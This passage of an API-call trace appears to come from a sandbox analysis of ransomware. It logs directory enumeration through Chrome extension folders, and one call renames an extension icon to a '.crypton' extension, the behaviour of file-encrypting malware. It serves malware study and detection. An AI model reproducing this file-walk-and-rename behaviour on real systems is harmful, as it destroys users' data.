lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee95f2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee95f2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.968] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee95f2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee95f2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.973] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee985440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee985440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.979] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee985440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee985440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.984] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee985440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee985440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.991] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9ab5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9ab5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.997] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9ab5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9ab5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.004] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9d1700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9d1700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.010] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9d1700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9d1700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.015] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9d1700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9d1700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.020] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9f7860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9f7860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.025] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9f7860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9f7860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.030] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee9f7860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee9f7860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.036] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea1d9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea1d9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.041] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea1d9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea1d9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.046] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea1d9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea1d9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.053] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea43b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea43b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.058] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea43b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea43b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.064] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea43b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea43b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.069] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea69c80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea69c80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.074] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea69c80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea69c80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.079] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea69c80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea69c80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.085] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea8fde0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea8fde0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.091] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea8fde0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea8fde0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.096] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeea8fde0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeea8fde0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.101] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeab5f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeab5f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.105] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeab5f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeab5f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0190.111] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeab5f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeab5f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549990 [0190.117] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.crypton"), dwFlags=0x2) returned 1 [0190.124] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeadc0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeadc0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.129] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb02200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb02200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.144] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb02200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb02200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.149] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb28360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb28360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.154] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb28360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb28360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.159] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb4e4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb4e4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.165] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb4e4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb4e4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", 